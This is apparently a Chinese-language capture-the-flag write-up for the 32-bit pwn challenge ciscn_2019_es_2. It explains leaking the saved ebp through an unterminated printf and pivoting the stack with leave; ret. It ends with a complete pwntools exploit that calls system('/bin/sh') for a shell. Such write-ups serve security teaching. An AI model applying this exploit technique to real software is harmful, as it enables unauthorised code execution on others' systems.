【栈迁移例题解析】ciscn_2019_es_2

Thursday, December 29, 2022
本文共1487字
3分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E6%A0%88%E8%BF%81%E7%A7%BB%E4%BE%8B%E9%A2%98%E8%A7%A3%E6%9E%90ciscn_2019_es_2/。商业转载请联系作者获得授权,非商业转载请注明出处!

Self-trust is the first secret of success. — Ralph Waldo Emerson

原题链接

checksec查看程序架构

$ checksec --file ciscn_2019_es_2
[*] '/home/peterl/security/workspace/ciscn_2019_es_2/ciscn_2019_es_2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没啥特殊的,注意一下32位就可

ida查看程序伪代码

202209251439012022-09-25-14-39-01

202209251439252022-09-25-14-39-26

看起来像是栈溢出,但是read函数限制了读入的字节数,我们看一下栈:

202209251440452022-09-25-14-40-46 202209251441052022-09-25-14-41-06

我们发现这时候到return的位置只能溢出一个字,如果这时候程序有一个backdoor函数那就万事大吉。

我们可以找一下,发现了一个hack函数,但这个hack函数完全就是糊弄人的,从中唯一得到的有用信息是system确乎存在于plt表中,这样就不用ret2libc了:

202209251443562022-09-25-14-43-56

看一下源程序也没有格式化字符串漏洞,我们可以考虑栈迁移

我们只要泄露出ebp,然后再通过第二次leave;ret就可以将esp更改到我们希望的地方

构建exp

栈迁移的基本思路

我们知道,在call一个函数的时候,我们会先将下一条指令的地址进栈,再将当前的ebp进栈,然后将当前esp的值赋给ebp,这样就实现了备份下一条指令的地址、ebp原本的值、esp原本的值的作用

然后等到函数结束时,程序会执行leave指令和ret指令。leave指令相当于mov esp, ebp; pop ebp,意思就是从备份中先恢复esp再恢复ebp;ret指令相当于pop eip,意思就是恢复备份的指令地址,这样就能执行函数调用的下一条语句了

那么如果我们更改栈中备份的ebp数据的同时,在程序执行过一次leave; ret后再执行一遍,那么因为ebp的备份已被更改,所以ebp恢复的就是我们希望的数据,而再执行一遍leave; ret时,程序是假定ebp中保存的是esp的备份,那么通过这种方法,我们就可以成功地更改esp。

这时我们已经让栈顶指针指向了我们希望的位置,这时由于leave指令,程序会将我们伪造的栈顶的第一个数据pop进ebp,然后由于ret指令再将第二个数据弹进eip中,那么我们就应该在伪造的栈的第二个数据放入system函数的地址

然后我们就可以当普通的栈溢出构造栈了。

system后面跟个0,再跟/bin/sh的地址就🆗了

泄露ebp

我们看到源程序中:

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);

这个s字符数组被初始化为全\0,此时如果我们将该数组所有的位都覆盖为垃圾数据,那么由于数组中没有\0了,它就会把紧跟在s后面的数据一齐打印出来,直到遇到一个\0为止。

这里需要注意的是如果我们使用sendline函数,程序读入的字符最后会多一个\n,所以这里发送payload应该用send。同时在payload中使用一个与前面不同的字符做哨兵:

payload = b"a"*0x27 + b"b"
p.clean()
p.send(payload)

也就是说我们只要满足:

  • 刚好输入0x28个数据
  • 输入的最后一个字符与前面输入的不同

就可以了

那么sendline函数也不是不可以用:

payload = b"a"*0x27
p.clean()
p.sendline(payload)

用\n字符做哨兵就可以了。

然后我们就可以recvebp地址了:

p.recvuntil(b"b")
ebp_addr = u32(p.recv(4))
# 我们可以讲礼貌一点,栈迁移完后返回地址和原来一样
eip_addr = u32(p.recv(4))

开始栈迁移

我们用gdb调试一下,发现当恢复ebp备份值的时候,这个备份值比当时ebp的值刚好多0x10:

202209251543542022-09-25-15-43-54

那么我们的payload就出来了:

leave_ret = 0x080484b8
# command也可以是cat flag
command = "/bin/sh"
payload = pg(ebp_addr) + pg(m_elf.plt['system']) + pg(eip_addr) \
    + pg(ebp_addr - 0x28) + bytes(command.ljust(0x18, "\0"), encoding="UTF-8")\
        + pg(ebp_addr - 0x38) + pg(leave_ret)

完整exp


from pwn import *
from pwn import p64, p32, u32, u64
# from LibcSearcher import LibcSearcher

pss: bool = False
fn: str = "./ciscn_2019_es_2"
# libc_name:str = "/lib/i386-linux-gnu/libc.so.6"
port: str = ""
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, "b* 0x80485FD")
    else:
        p = process(fn)

m_elf = ELF(fn)
p.clean()
payload1 = b"a"*0x27
p.sendline(payload1)
p.recvuntil(b"\n")
ebp_addr = u32(p.recv(4))
eip_addr = u32(p.recv(4))
success(hex(ebp_addr))
p.clean()
leave_ret = 0x080484b8
command = "/bin/sh"
payload = pg(ebp_addr) + pg(m_elf.plt['system']) + pg(eip_addr) \
    + pg(ebp_addr - 0x28) + bytes(command.ljust(0x18, "\0"), encoding="UTF-8")\
        + pg(ebp_addr - 0x38) + pg(leave_ret)
p.sendline(payload)
p.clean()
p.interactive()